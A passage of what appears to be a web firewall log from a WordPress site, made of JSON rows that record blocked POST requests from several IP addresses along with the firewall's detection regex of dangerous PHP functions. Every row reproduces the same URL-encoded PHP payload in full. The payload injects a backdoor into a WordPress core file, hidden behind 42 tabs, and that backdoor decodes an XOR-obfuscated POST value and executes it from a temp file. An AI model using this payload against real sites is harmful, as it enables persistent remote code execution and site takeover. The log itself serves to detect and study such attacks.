20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:44:09","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3736\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\n\nrp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:44:16","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3736\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFyDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\n\nJT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:44:33","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3736\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrT4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\n\nxn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:44:45","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ev:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php 